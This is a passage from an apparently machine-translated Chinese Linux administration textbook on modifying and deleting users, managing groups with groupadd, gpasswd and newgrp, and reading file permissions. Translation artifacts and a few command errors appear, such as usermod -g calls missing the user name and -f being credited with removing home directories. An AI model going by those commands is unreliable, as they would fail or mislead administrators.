全名:到`Julian`(最初为空)。 -* 主文件夹:移动到`/local/julian`(从默认的`/home/julian`)。 -* 登录 shell:`/bin/bash`(从默认`/bin/sh`开始)。 - -下面显示了更改所有上述信息的命令行实用程序: - -```sh -sudo usermod -c "Julian" -d /local/julian -m -s /bin/bash julian -``` - -下面是命令选项,简要说明: - -* `-c, --comment "Julian"`:完整用户名。 -* `-d, --home local/julian`:用户的新主目录。 -* `-m, --move`:将当前主目录的内容移动到新位置。 -* `-s, --shell /bin/sh`:用户登录 shell。 - -使用`getent`命令检索的相关更改如下所示: - -```sh -getent passwd julian -``` - -我们得到以下输出: - -![Figure 4.9 – The user changes reflected with getent](img/B13196_04_09.jpg) - -图 4.9 - getent 反映了用户的变化 - -下面是使用`usermod`命令行实用程序更改用户设置的更多示例。 - -#### 更改用户名 - -`usermod`的`-l, --login`选项参数指定一个新的登录用户名。 下面的命令将用户名从`julian`更改为`balog`(即从名改为姓),如下所示: - -```sh -sudo usermod -l "balog" julian -``` - -在生产环境中,前面的命令可能更复杂,因为我们可能还希望更改用户的显示名称和主目录(出于一致性原因)。 在前面的*使用 useradd*部分创建用户的示例中,我们展示了`-d, --home`和`-m, --move`选项参数,它们将适应这些更改。 - -#### 锁定或解锁用户 - -超级用户或管理员可以通过`usermod`的`-L, --lock`选项选择暂时或永久锁定某个用户,如下所示: - -```sh -sudo usermod -L julian -``` - -由于上面的命令,用户`julian`的登录尝试将被拒绝。 如果用户尝试以 SSH 方式进入 Linux 机器,他们将得到一个**Permission denied, please try again**错误消息。 此外,如果 Linux 平台有 GUI,那么相关的用户名将从登录屏幕上删除。 - -为了解锁用户,我们调用`-U, --unlock`选项参数,如下所示: - -```sh -sudo usermod -U julian -``` - -该命令恢复了该用户的系统访问权限。 - -有关`usermod`实用程序的更多信息,请查看相关文档(`man usermod`)或命令行帮助(`usermod --help`)。 - -虽然推荐的修改用户设置的方法是通过`usermod`命令行实用程序,但一些用户可能会发现手动编辑`/etc/passwd`文件更容易。 下面一节将展示如何做到这一点。 - -#### 通过/etc/passwd 修改用户 - -超级用户也可以手动编辑`/etc/passwd`文件,通过更新相关行来修改用户数据。 尽管可以使用您选择的文本编辑器(例如`nano`)进行编辑,但我们建议使用`vipw`命令行实用程序以获得更安全的方法。 `vipw`启用所需的锁以防止可能的数据损坏——例如,如果超级用户在普通用户更改密码的同时执行更改操作。 - -下面的命令通过提示首选的文本编辑器(例如`nano`或`vim`)来启动`/etc/passwd`文件的编辑: - -```sh -sudo vipw -``` - -例如,我们可以通过编辑以下行来更改用户`julian`的设置: - -```sh -julian:x:1001:1001:Julian,,,:/home/julian:/bin/bash -``` - -冒号(`:`)分隔字段的含义已经在前面的*使用 useradd*部分中描述过。 这些字段都可以在`/etc/passwd`文件中手工更改,导致更改等同于相应的`usermod`调用。 - -有关`vipw`命令行实用程序的更多信息,您可以参考相关的系统手册(`man vipw`)。 - -用户帐户的另一项相对常见的管理任务是更改密码或设置密码过期时间。 虽然`usermod`可以通过`-p`或`--password`选项更改用户密码,但它需要加密的散列字符串(而不是明文密码)。 生成加密的密码哈希值将是一个额外的步骤。 一种更简单的方法是使用`passwd`实用程序。 - -超级用户(管理员)可以修改用户(例如`julian`)的密码,命令如下: - -```sh -sudo passwd julian -``` - -有时,管理员需要从系统中删除特定的用户。 下一节将展示完成此任务的两种方法。 - -### 删除用户 - -将用户从系统中删除的最常见方法是使用`userdel`命令行工具。 `userdel`命令的一般语法如下所示: - -```sh -userdel [OPTIONS] USER -``` - -例如,要删除用户`julian`,超级用户将运行以下命令: - -```sh -sudo userdel -f -r julian -``` - -下面是命令选项,简要说明: - -* `-f, --force`:删除用户主目录中的所有文件,即使不属于该用户 -* `-r, --remove`:删除用户的主目录和邮件假脱机 - -`userdel`命令从系统中删除相关的用户数据,包括用户的主目录(在使用`-f`或`--force`选项调用时)以及`/etc/passwd`和`/etc/shadow`文件中的相关条目。 - -还有另一种方法,它在一些奇怪的清理场景中可能很方便。 下一节将展示如何做到这一点。 - -#### 通过/etc/passwd 和/etc/shadow 删除用户 - -超级用户可以编辑`/etc/passwd`和`/etc/shadow`文件,并为用户手动删除相应的行(例如`julian`)。 请注意,这两个文件必须被编辑一致和完整删除相关用户帐户。 - -使用`vipw`命令行实用程序编辑`/etc/passwd`文件,如下所示: - -```sh -sudo vipw -``` - -删除以下行(针对用户`julian`): - -```sh -julian:x:1001:1001:Julian,,,:/home/julian:/bin/bash -``` - -接下来,在`vipw`中使用`-s`或`--shadow`选项编辑`/etc/shadow`文件,如下: - -```sh -sudo vipw -s -``` - -删除以下行(针对用户`julian`): - -```sh -julian:$6$xDdd7Eay/RKYjeTm$Sf.../:18519:0:99999:7::: -``` - -在编辑完上述文件后,超级用户可能还需要删除被删除用户的主目录,如下所示: - -```sh -sudo rm -rf /home/julian -``` - -有关`userdel`实用程序的更多信息,请查看相关文档(`man userdel`)或命令行帮助(`userdel --help`)。 - -到目前为止所学的用户管理概念和命令只适用于系统中的单个用户。 当系统中的多个用户具有相同的访问级别或权限属性时,它们被统称为一个组。 可以将组视为独立的组织单元,我们可以创建、修改或删除。 我们还可以定义和修改与组关联的用户成员关系。 下一节重点讨论组管理内部。 - -# 群组管理 - -Linux 使用组来组织用户。 简单地说,组是共享一个公共属性的用户集合。 这些群体的例子可以是*员工*、*开发人员*、*管理人员*,等等。 在 Linux 中,组由 GID 唯一标识。 同一组内的用户使用相同的 GID。 - -从用户的角度来看,这里概述了两种类型的组: - -* **主组**—用户的初始(默认)登录组 -* **补充组**—用户也是成员的组列表; 又称**次级组** - -每个 Linux 用户都是主组的成员。 一个用户可以属于多个补充组,也可以不属于任何补充组。 换句话说,每个 Linux 用户都有一个强制性的主组,一个用户可以有多个或没有补充的组成员关系。 - -从实际的角度来看,我们可以将组看作是对一定数量的用户进行协作的宽松上下文。 设想一个拥有特定于开发人员的资源的*开发人员*组。 这个组中的每个用户都可以访问这些资源。 *开发人员*组以外的用户可能没有访问权限,除非他们使用组密码进行身份验证(如果组有组密码的话)。 - -在下一节中,我们将提供如何管理组和设置用户组成员关系的详细示例。 大多数相关命令需要超级用户或`sudo`权限。 - -## 组的创建、修改、删除 - -虽然我们的主要焦点仍然是组管理任务,但一些相关操作仍然涉及到用户相关的命令。 `groupadd`、`groupmod`和`groupdel`等命令行实用程序的目标分别是创建、修改和删除组。 另一方面,`useradd`和`usermod`命令在将用户与组关联时带有特定于组的选项。 我们还将向您介绍`gpasswd`,这是一个专门用于组管理的命令行工具,它结合了与用户和组相关的操作。 - -记住这一点后,让我们看看如何创建、修改和删除组,以及如何为用户操作组成员关系。 - -### 创建组 - -要创建一个新组,超级用户调用`groupadd`命令行实用程序。 下面是相关命令的基本语法: - -```sh -groupadd [OPTIONS] GROUP -``` - -让我们创建一个新组(`developers`),默认设置如下: - -```sh -sudo groupadd developers -``` - -组信息存储在`/etc/group`文件中。 以下是`developers`组的相关数据: - -```sh -cat /etc/group | grep developers -``` - -该命令输出如下: - -![Figure 4.10 – The group with default attributes](img/B13196_04_10.jpg) - -图 4.10 -具有默认属性的组 - -让我们分析一下相关的小组记录。 每个条目由冒号(`:`)分隔,列在这里: - -* `developers`:组名 -* `x`:加密密码(密码散列存储在`/etc/gshadow`中) -* `1002`:gid - -我们也可以使用`getent`命令检索前面的组信息,如下所示: - -```sh -getent group developers -``` - -超级用户可以使用`groupadd`和`-g, --gid`选项参数创建具有特定 GID 的组。 例如,下面的命令创建 GID 为`1200`的`developers`组: - -```sh -sudo groupadd -g 1200 developers -``` - -有关`groupadd`命令行实用程序的更多信息,请参阅相关文档(`man groupadd`)。 - -组相关数据存储在`/etc/group`和`/etc/gshadow`文件中。 `/etc/group`文件包含通用组成员信息,而`/etc/gshadow`文件存储每个组的加密密码散列。 - -让我们简单看一下组密码。 - -#### 理解组密码 - -默认情况下,在使用`groupadd`命令(例如`groupadd developers`)的最简单调用创建组时,组没有密码。 尽管`groupadd`支持加密的密码(通过`-p, --password`选项参数),但这需要一个额外的步骤来生成安全的密码散列。 有一种创建组密码的更好、更简单的方法:使用`gpasswd`命令行实用工具。 - -下面的命令为`developers`组创建密码: - -```sh -sudo gpasswd developers -``` - -我们会被提示输入并重新输入密码。 - -`gpasswd`是一个命令行工具,用于帮助完成日常的组管理任务。 - -组密码的目的是保护对组资源的访问。 当组成员之间共享组密码时,组密码本质上是不安全的,但是 Linux 管理员可以选择保持组密码私有,而组成员在组的安全上下文中不受阻碍地协作。 - -这里快速解释一下它是如何工作的。 当特定组(例如`developers`)的成员登录到该组时(使用`newgrp`命令),不会提示用户输入组密码。 当不属于该组的用户试图登录时,将提示他们输入组密码。 - -一般情况下,一个组可以有管理员、成员和密码。 作为组管理员的组的成员可以使用`gpasswd`而不需要提示输入密码,只要他们已经登录到组。 另外,组管理员不需要超级用户权限来为其所属的组执行组管理任务。 - -在下一节中,我们将进一步研究`gpasswd`,进一步关注组管理任务,以及将用户添加到组和从组中删除用户。 但是现在,让我们将注意力严格地放在组级别上,看看如何修改用户组。 - -### 修改组 - -修改组的定义的最常见方法是通过`groupmod`命令行实用程序。 下面是该命令的基本语法: - -```sh -groupmod [OPTIONS] GROUP -``` - -更改组定义时最常见的操作与 GID、组名和组密码有关。 让我们来看看这些变化。 假设前面创建的组名为`developers`,GID 为`1200`。要将 GID 更改为`1002`,超级用户调用带有`-g, --gid`选项参数的`groupmod`命令,如下所示: - -```sh -sudo groupmod -g 1002 developers -``` - -要将组名从`developers`更改为`devops`,我们调用`-n, --new-name`选项,如下所示: - -```sh -sudo groupmod -n devops developers -``` - -我们可以使用以下命令验证对`devops`组的上述更改: - -```sh -getent group devops -``` - -该命令产生以下结果: - -![Figure 4.11 – Verifying the group changes](img/B13196_04_11.jpg) - -图 4.11 -验证组的更改 - -要修改`devops`的组密码,最简单的方法是使用`gpasswd`,如下所示: - -```sh -sudo gpasswd devops -``` - -提示输入并重新输入密码: - -要删除`devops`的组密码,我们使用`-r, --remove-password`选项调用`gpasswd`命令,如下所示: - -```sh -sudo gpasswd -r devops -``` - -有关`groupmod`和`gpasswd`的更多信息,请参阅这些实用程序(`man groupmod`和`man gpasswd`)的系统手册,或者只需为每个实用程序调用`-h, --help`选项。 - -接下来,我们来看一下如何删除组。 - -### 删除组 - -要删除组,我们使用命令行实用程序`groupdel`。 相关语法显示在这里: - -```sh -groupdel [OPTIONS] GROUP -``` - -默认情况下,Linux 强制主组和与该主组关联的用户之间的引用完整性。 在删除主组的用户之前,不能删除已分配为某些用户的主组的组。 换句话说,在默认情况下,Linux 不希望留给用户一个悬空的主 gid。 - -例如,假设用户`julian`将主组设置为`devops`,尝试删除`devops`组将导致错误,如下所示: - -![Figure 4.12 – Attempting to delete a primary group](img/B13196_04_12.jpg) - -图 4.12 -试图删除一个主组 - -超级用户可以选择*强制*删除一个主组,通过`-f, --force`选项调用`groupdel`,但这是不明智的。 该命令将导致主 gid 孤立的用户,并可能在系统中出现安全漏洞。 对这些用户的维护和删除也会成为问题。 - -超级用户可以运行带有`-g, --gid`选项参数的`usermod`命令,以*更改*用户的主组。 应该为每个用户调用该命令。 下面是从`devops`主组中删除用户`julian`的示例。 首先,让我们为用户获取当前数据,如下所示: - -```sh -id julian -``` - -下面是输出: - -![Figure 4.13 – Retrieving the current primary group for the user](img/B13196_04_13.jpg) - -图 4.13 -检索用户的当前主组 - -`usermod`命令的`-g, --gid`选项参数同时接受*GID*和组*名称*。 指定的组必须已经存在于系统中,否则命令将失败。 如果要更改主要组(例如,改为`developers`),只需在`-g, --gid`选项参数中指定组名,如下所示: - -```sh -sudo usermod -g developers julian -``` - -但是,让我们假设我们不希望将用户`julian`与一个特定的主组关联,但是我们需要为`usermod -g`指定一个主组。 解决这个难题的最简单方法是创建一个名为`julian`的组,其 GID 与 UID 匹配(在本例中为`1001`),如下所示: - -```sh -sudo groupadd -g 1001 julian -``` - -现在我们已经定义了`julian`*组*,我们可以安全地修改`julian`*用户*,使其拥有专属的主组,如下所示: - -```sh -sudo usermod -g julian -``` - -我们可以通过以下命令验证主要组是否反映了更改: - -```sh -id julian -``` - -现在输出显示`julian`的**UID**为**GID**,如下所示: - -![Figure 4.14 – Changing the primary group of the user](img/B13196_04_14.jpg) - -图 4.14 -更改用户的主组 - -此时,可以安全删除组`devops`,如下所示: - -```sh -sudo groupdel devops -``` - -有关`groupdel`命令行实用程序的更多信息,请查看相关的系统手册(`man groupdel`),或者简单地调用`groupdel --help`。 - -#### 通过/etc/group 修改组 - -管理员也可以通过手动编辑`/etc/group`文件,通过更新相关行来修改组数据。 尽管可以使用您选择的文本编辑器(例如`nano`)进行编辑,但为了更安全,我们建议使用`vigr`命令行实用工具。 `vigr`类似于`vipr`(用于修改`/etc/passwd`),并设置安全锁以防止在组数据的并发更改期间可能发生的数据损坏。 - -下面的命令通过提示首选文本编辑器(例如`nano`或`vim`)来打开`/etc/group`文件进行编辑: - -```sh -sudo vigr -``` - -例如,我们可以通过编辑以下行来更改`developers`组的设置: - -```sh -developers:x:1200:julian,alex -``` - -当使用`vigr`命令删除组时,还会提示我们删除组阴影文件(`/etc/gshadow`)中的相应条目。 相关命令调用`-s`或`--shadow`选项,如下所示: - -```sh -sudo vigr -s -``` - -有关`vigr`实用程序的更多信息,请参阅相关的系统手册(`man vigr`)。 - -与大多数 Linux 任务一样,前面的所有任务都可以通过不同的方式来完成。 所选择的命令是最常见的,但在某些情况下,可能会有更合适的不同方法。 - -在下一节中,我们将了解如何将用户添加到主组和辅助组,以及如何从这些组中删除用户。 - -### 用户和组 - -到目前为止,我们只创建了没有关联用户的组。 空用户组没有多大用处,所以让我们向它们添加一些用户。 - -#### 向组中添加用户 - -在开始将用户添加到组之前,我们先创建几个组。 在下面的示例中,我们通过指定组的 GID(通过`groupadd`命令的`-g, --gid`选项参数)来创建组: - -```sh -sudo groupadd -g 1100 admin -sudo groupadd -g 1200 developers -sudo groupadd -g 1300 devops -``` - -接下来,我们创建两个用户(`alex`和`julian`),并将它们添加到刚刚创建的一些组中。 我们会有`admin`组设置为*主组为用户,而`developers`和`devops`组被定义为*二次【显示】(*或*补充)*【病人】。 代码可以在这里看到:*** - -```sh -sudo useradd -g admin -G developers,devops alex -sudo useradd -g admin -G developers,devops julian -``` - -`useradd`命令的`-g, --gid`选项参数指定(唯一的)主组(`admin`)。 `-G, --groups`选项参数提供次要组名(`developers`,`devops`)的逗号分隔列表(中间不包含空格)。 - -我们可以使用下面的命令验证两个用户的组成员资格: - -```sh -id alex -id julian -``` - -上述命令输出如下: - -![Figure 4.15 – Verifying the group membership for users](img/B13196_04_15.jpg) - -图 4.15 -验证用户的组成员身份 - -可以看到,`gid`属性显示了主要的组成员:`gid=100(admin)`。 `groups`属性表示补充(次要)组:`groups=1100(admin),1200(developers),1300(devops)`。 - -由于用户分散在多个组中,管理员有时会面临在组之间移动用户的任务。 下面的部分将展示如何进行此操作。 - -#### 跨组移动和删除用户 - -在前面的示例的基础上构建,让假设管理员希望将用户`alex`移动(或添加)到名为`managers`的新辅助组。 请注意,根据前面的示例,用户`alex`将`admin`作为主要组,而`developers`/`devops`作为次要组(参见*图 4.17*中`id alex`命令的输出)。 - -让我们先用 GID`1400`创建`managers`组。 代码可以在这里看到: - -```sh -sudo groupadd -g 1400 managers -``` - -接下来,将现有用户`alex`添加到`managers`组。 我们使用带有`-G, --groups`选项参数的`usermod`命令来指定用户与相关联的辅助组。 - -将*附加*辅助组给用户的最简单方法是调用`usermod`命令的`-a, --append`选项,如下所示: - -```sh -sudo usermod -a -G managers alex -``` - -前面的命令将为用户`alex`保留现有的辅助组,同时添加新的`managers`组。 或者,我们可以运行以下命令: - -```sh -sudo usermod -G developers,devops,managers alex -``` - -在前面的命令中,我们指定了多个组(中间没有空格!) - -重要提示 - -我们保留了现有的次级组(`developers`/`devops`),*将*附加到以逗号分隔的次级组`managers`。 如果我们只指定了`managers`组,用户`alex`将从`developers`和`devops`次要组中删除*。* - - *要验证用户`alex`现在是`managers`组的一部分,运行以下命令: - -```sh -id alex -``` - -下面是命令的输出: - -![Figure 4.16 – Verifying that the user is associated with the managers group](img/B13196_04_16.jpg) - -图 4.16 -验证用户与 managers 组相关联 - -我们可以看到,`groups`属性(高亮显示)包括`managers`组:`1400(managers)`的相关条目。 - -类似地,如果我们想要*从`developers`和`devops`次要组中删除*用户`alex`,使只与`managers`次要组相关联,我们将运行以下命令: - -```sh -sudo usermod -G managers alex -``` - -下面是输出: - -![Figure 4.17 – Verifying the secondary groups for the user](img/B13196_04_17.jpg) - -图 4.17 -验证用户的辅助组 - -`groups`标记现在显示主要组`admin`(默认情况下)和`managers`次要组。 - -从所有次要组中删除用户`alex`的命令如下所示: - -```sh -sudo usermod -G '' alex -``` - -`usermod`命令有一个空字符串(`''`)作为`-G, --groups`选项参数,以确保没有与用户关联的辅助组。 我们可以使用以下命令验证用户`alex`没有更多的从属组成员身份: - -```sh -id alex -``` - -下面是输出: - -![Figure 4.18 – Verifying the user has no secondary groups](img/B13196_04_18.jpg) - -图 4.18 -验证用户没有辅助组 - -正如我们所看到的,`groups`标记只包含`1100(admin)`主 GID,默认情况下它总是为用户显示。 - -如果管理员选择从主组中删除用户`alex`或将其分配给其他主组,则必须运行带`-g, --gid`选项参数的`usermod`命令并指定主组名。 对于用户来说,主组总是必须存在的。 - -例如,要将用户`alex`移动到`managers`主组,管理员将运行以下命令: - -```sh -sudo usermod -g managers alex -``` - -相关的用户数据变成这样: - -```sh -id alex -``` - -该命令输出如下: - -![Figure 4.19 – Verifying the user has been assigned the new primary group](img/B13196_04_19.jpg) - -图 4.19 -验证用户已经被分配了新的主组 - -图 4.21*中用户记录的`gid`属性反映了新的主组`gid=1400(managers)`。* - -如果管理员选择配置用户`alex`没有一个特定的主要群体,他们必须首先创建一个独家*【T7 组】(命名为`alex`,为了方便)的 UID 和 GID 的匹配用户`alex`(`1002`),如下:* - -```sh -sudo groupadd -g 1002 alex -``` - -现在,通过指定刚刚创建的独占主组(`alex`),可以将用户`alex`从当前主组(`managers`)中删除,如下所示: - -```sh -sudo usermod -g alex -``` - -相关的用户记录变成这样: - -```sh -id alex -``` - -下面是输出: - -![Figure 4.20 – Verifying the user has been removed from primary groups](img/B13196_04_20.jpg) - -图 4.20 -验证用户已从主要组中删除 - -用户记录的`gid`属性反映独占的主组(与用户匹配):`gid=1002(alex)`。 我们的用户不再属于任何其他主组。 - -对于 Linux 管理员来说,跨组添加、移动和删除用户可能成为越来越艰巨的任务。 随时知道哪些用户属于哪些组是有价值的信息,对于报告目的和用户自动化工作流都是如此。 下面的部分提供了一些用于查看用户和组数据的命令。 - -#### 查看用户和组 - -在本节中,我们提供了一些可能有用的命令来检索组和组成员信息。 在我们进入任何命令之前,我们应该记住组信息存储在`/etc/group`和`/etc/gshadow`文件中。 其中,前者拥有我们最感兴趣的信息。 - -我们可以解析`/etc/group`文件来检索所有组,如下所示: - -```sh -cat /etc/group | cut -d: -f1 | column | less -``` - -该命令产生以下输出(摘录): - -![Figure 4.21 – Retrieving all group names](img/B13196_04_21.jpg) - -图 4.21 -检索所有组名 - -类似的命令可以使用`getent`,如下所示: - -```sh -getent group | cut -d: -f1 | column | less -``` - -我们可以通过以下命令检索单个组(例如`developers`)的信息: - -```sh -getent group developers -``` - -下面是输出: - -![Figure 4.22 – Retrieving information for a single group](img/B13196_04_22.jpg) - -图 4.22 -检索单个组的信息 - -前一个命令的输出还显示了`developers`组(`julian`、`alex`)的成员。 - -要列出特定用户所属的所有组,可以使用`groups`命令。 例如,下面的命令列出了用户`alex`所属的所有组: - -```sh -groups alex -``` - -下面是命令的输出: - -![Figure 4.23 – Retrieving group membership information of the user](img/B13196_04_23.jpg) - -图 4.23 -检索用户的组成员信息 - -上一个命令的输出显示用户`alex`的组,从主组(`admin`)开始。 - -用户可以使用`groups`命令行实用工具检索自己的组成员身份,而不需要指定组名。 在管理员(超级用户)用户`packt`的终端会话中执行如下命令: - -```sh -groups -``` - -该命令会得到以下结果: - -![Figure 4.24 – The current user's groups](img/B13196_04_24.jpg) - -图 4.24 -当前用户的组 - -还有许多其他方法和命令来检索与用户和组相关的信息。 我们希望前面的示例提供了关于在哪里以及如何查找这些信息的基本概念。 - -接下来,让我们看看用户如何切换或登录到特定的组。 - -#### 登录会话组 - -当用户登录系统时,组成员上下文自动设置为用户的主组。 一旦用户登录,任何用户发起的任务(如创建文件或运行程序)都与用户的主要组成员权限相关联。 用户还可以选择访问其他组中的资源,这些组也是用户的成员(即补充组或辅助组)。 要切换组上下文或使用新的组成员身份登录,用户调用`newgrp`命令行实用工具。 - -`newgrp`命令的基本语法是: - -```sh -newgrp GROUP -``` - -在下面的示例中,我们假设一个用户(`julian`)是多个组的成员——`admin`作为主要组,`developers`/`devops`作为次要组: - -```sh -id julian -``` - -下面是输出: - -![Figure 4.25 – A user with multiple group memberships](img/B13196_04_25.jpg) - -图 4.25 -拥有多个组成员的用户 - -让我们暂时模拟用户`julian`。 当以`julian`登录时,默认的登录会话具有以下用户和组上下文: - -```sh -whoami -``` - -在我们的例子中,输出如下: - -![Figure 4.26 – Getting the current user](img/B13196_04_26.jpg) - -图 4.26 -获取当前用户 - -`whoami`命令提供当前 UID(请参阅`man whoami`或`whoami --help`命令的详细信息),如下所示: - -```sh -groups -``` - -下面是输出: - -![Figure 4.27 – Getting the current user's groups](img/B13196_04_27.jpg) - -图 4.27 -获取当前用户的组 - -`groups`命令显示当前用户所属的所有组(请参阅`man groups`或`groups --help`命令的详细信息)。 - -用户还可以通过调用`id`命令查看自己的 id (user 和 gid),如下所示: - -```sh -id -``` - -下面是输出: - -![Figure 4.28 – Viewing the current user and GID information](img/B13196_04_28.jpg) - -图 4.28 -查看当前用户和 GID 信息 - -对`id`命令的各种调用提供了有关当前用户和组会话的信息。 下面的命令(带有`-g, --group`选项)检索用户当前组会话的 ID: - -```sh -id -g -1100 -``` - -在我们的示例中,前面的命令显示了`1100`—用户的主组对应的 GID,即`admin`(参见*图 4.30*中的`gid`属性)。 登录时,默认的组会话始终是用户对应的主组。 例如,如果用户要创建一个文件,文件权限属性将反映主组的 ID。 我们将在*管理权限*一节中更详细地了解文件权限。 - -现在,我们将当前用户的组会话切换到`developers`,如下所示: - -```sh -newgrp developers -``` - -当前组会话产生如下结果: - -```sh -id -g -1200 -``` - -GID 对应于`developers`辅助 GID,如图 4.30:`1200(developers)`中的`groups`标签所示。 如果用户现在创建了任何文件,那么相关的文件权限属性将具有`developers`GID。 - -如果用户试图登录到他们不是其中一员的组(例如,`managers`),`newgrp`命令提示输入`managers`组的密码,如下所示: - -```sh -newgrp managers -``` - -上面的命令提示输入超级用户密码。 - -如果我们的用户拥有`managers`组密码,或者如果他们是超级用户,那么组登录尝试将会成功。 否则,用户将被拒绝访问`managers`组的资源。 - -我们在此结束管理用户和组的主题。 本节中使用的相关管理任务的示例当然包罗万象。 在这些情况中,有多种方法可以使用不同的命令或方法来实现相同的结果。 - -到目前为止,您应该相对熟练地管理用户和组,并且熟悉使用各种命令行实用程序来操作相关的更改。 用户和组以关系方式管理,其中用户属于一个组,或者组与用户关联。 我们还了解到创建和管理用户和组需要超级用户特权。 在 Linux 中,用户数据存储在`/etc/passwd`和`/etc/shadow`文件中,而组信息存储在`/etc/group`和`/etc/gshadow`文件中。 除了使用专用的命令行实用程序外,还可以通过手动编辑上述文件来修改用户和组。 - -接下来,我们将转向多用户组环境的安全性和隔离上下文。 在 Linux 中,相关的功能是由系统级访问层完成的,该访问层控制特定用户和组对文件和目录的读、写和执行权限。 - -下一节将探讨与这些权限相关的管理和管理任务。 - -# 权限管理 - -Linux 的一个关键原则是能够允许多个用户访问系统,同时执行独立的任务。 这个多用户、多任务环境的平稳运行是通过权限控制的。 Linux 内核为底层安全性和隔离模型提供了一个健壮的框架。 在用户级别,专用工具和命令行实用程序帮助 Linux 用户和系统管理员完成相关的权限管理任务。 - -对于一些 Linux 用户,尤其是初学者,Linux 权限有时可能会令人困惑。 本节试图阐明 Linux 中关于文件和目录权限的一些关键概念。 您将了解访问文件和目录的基本权限*权限*—*读*、*写*和*执行*权限。 我们将使用系统级命令行实用程序,探讨一些查看和更改权限的基本管理任务。 - -本节中讨论的大多数主题应该与用户和组密切相关。 相关习语可以很简单,比如*用户可以读取或更新一个文件*,*一组能够访问这些文件和目录*或*用户可以执行这个计划。* - - *让我们从基础开始,介绍文件和目录权限。 - -## 文件和目录权限 - -在 Linux 中,权限可以视为对一个文件或目录进行操作的*权限*或*权限*。 基本权限,或*权限属性*概述如下: - -* **Read**-A*Read*permissionon a file 允许用户查看文件内容。 在目录上,read 权限允许用户列出目录的内容。 -* **Write**-A*Write*permissionon a file 允许用户修改文件的内容。 对于目录,写权限允许用户通过增加、删除、重命名文件等方式修改目录内容。 -* **Execute**-*Execute*或*可执行*权限允许用户运行该文件指定的相关脚本、应用或服务。 对于目录,执行权限允许用户进入该目录并将其设置为当前工作目录(使用`cd`命令)。 - -首先,让我们看看如何显示文件和目录的权限。 - -### 查看权限 - -查看文件或目录权限的最常见的方式是使用`ls`命令行实用程序。 这个命令的基本语法是: - -```sh -ls [OPTIONS] FILE|DIRECTORY -``` - -下面是使用`ls`命令查看`/etc/passwd`文件权限的示例: - -```sh -ls -l /etc/passwd -``` - -该命令输出如下: - -![Figure 4.29 – Viewing the permissions of /etc/passwd file](img/B13196_04_29.jpg) - -图 4.29 -查看/etc/passwd 文件的权限 - -根据`ls`文档(`man ls`),`ls`命令的`-l`选项使用*长列表格式*提供详细的输出。 - -让我们分析一下输出,如下所示: - -```sh --rw-r--r-- 1 root 3056 Sep 17 07:57 /etc/passwd -``` - -我们有 9 个段,由单个空白字符(分隔符)分隔。 这些是概述在这里: - -* `-rw-r--r--`:文件访问权限 -* `1`:硬链接数 -* `root`:文件的所有者 -* `root`:文件所属的组 -* `3056`:文件大小 -* `Sep`:文件创建的月份 -* `17`:文件创建的月份 -* `07:57`:文件创建的时间 -* `/etc/passwd`:文件名 - -让我们检查文件访问权限字段(`-rw-r--r--`)。 文件访问权限定义为一个 10 个字符的字段,分组如下: - -* 第一个字符(属性)是为文件类型保留的(参见*文件类型*一节,下一节)。 -* 接下来的九个字符代表一个 9-bit 字段,定义三个属性的有效权限三个序列(比特):*用户所有者权限,*组所有者权限,和*所有其他用户的权限(见*【T7 许可属性】部分,下一个)。**** - - *让我们看一下文件类型。 - -#### 文件类型 - -文件类型属性列在这里: - -* `d`:目录 -* `-`:普通文件 -* `l`:符号链接 -* `p`:命名管道,一种特殊的文件,用于促进程序之间的通信 -* `s`:一种 socket,类似于管道,但具有双向网络通信 -* `b`:块设备,即与硬件设备对应的文件 -* `c`:字符设备,类似于块设备 - -让我们仔细看看权限属性。 - -#### 许可属性 - -如前所述,访问权限由一个 9 位字段表示,该字段由三个序列组成,每个序列有 3 位,定义如下: - -* **位 1-3**:*用户*所有者权限 -* **bits 4-6**:*Group*所有者权限 -* **bits 7-9**:*所有*其他用户(或*world*)权限 - -每个权限属性都是相关三比特序列的二进制表示中的位标志。 它们既可以表示为一个字符,也可以表示为一个等效的数值,也称为*八进制*值,这取决于它们所代表的位的范围。 - -下面是权限属性及其各自的八进制值: - -* `r`:*Read*permission; 2 ^ 2 =`4`(位 2 设置) -* `w`:*Write*permission: 2 ^ 1 =`2`(bit 1 set) -* `x`:*Execute*permission: 2 ^ 0 =`1`(bit 0 set) -* `-`:*No*permission:`0`(No bits set) - -最终确认的数字是,也称为文件权限的*八进制值*(参见*文件权限示例*节)。 下面是文件权限属性的说明: - -![Figure 4.30 – The file permission attributes](img/B13196_04_30.jpg) - -图 4.30 -文件权限属性 - -接下来,让我们考虑一些例子。 - -#### 文件权限的例子 - -现在,让我们回过头来评估`/etc/passwd`:`-rw-r--r--`的文件访问权限,如下所示: - -* `-`:第一个字符(字节)表示文件类型(在本例中是常规文件)。 -* `rw-`:接下来的三个字符序列表示用户所有者权限(在本例中为 read(`r`); 写(`w`); 八进制值=`4`(`r`)+`2`(`w`)=`6`(【显示】))。 -* `r--`:下一个 3 字节序列定义组所有者权限(在本例中为 read(`r`); 八进制值=`4`(`r`))。 -* `r--`:最后三个字符表示系统中所有其他用户的权限(在本例中为 read(`r`); 八进制值=`4`(`r`))。 - -由以上信息可知,`/etc/passwd`文件访问权限的八进制值为`644`。 或者,我们可以使用`stat`命令查询八进制值,如下所示: - -```sh -stat --format '%a' /etc/passwd -``` - -该命令输出如下: - -![Figure 4.31 – Getting permission attributes using the stat command](img/B13196_04_31.jpg) - -图 4.31 -使用 stat 命令获取权限属性 - -`stat`命令用来显示文件或文件系统的状态。 选项参数`--format`以八进制格式(`'%a'`)指定输出的访问权限。 - -下面是一些访问权限的示例,以及它们对应的八进制值和描述。 为了清晰起见,故意用空格分隔三个字符的序列。 前面的文件类型被省略了: - -* `rwx`(`777`):读取、写入、执行所有用户,包括所有者、组和世界。 -* `rwx r-x`(`755`):对所有用户读取、执行; 文件所有者具有写权限。 -* `rwx r-x ---`(`750`):对所有者和组进行读取、执行; 所有者有写权限,而其他人没有访问权限。 -* `rwx --- ---`(`700`):对所有者进行读、写、执行; 其他人都没有权限。 -* `rw- rw- rw-`(`666`):为所有用户读取、写入; 没有执行权限 -* `rw- rw- r--`(`664`):读,写给所有人和组; 为别人阅读。 -* `rw- rw- ---`(`660`):读,写给所有人和组; 其他人没有权限。 -* `rw- r-- r--`(`644`):读,写; 为小组和其他人阅读。 -* `rw- r-- ---`(`640`):读,写; 阅读组; 对其他人没有许可。 -* `rw- --- ---`(`600`):读,写; 对组和其他人没有权限。 -* `r-- --- ---`(`400`):供业主阅读; 对其他人没有许可。 - -读、写和执行是最常见的文件访问权限类型。 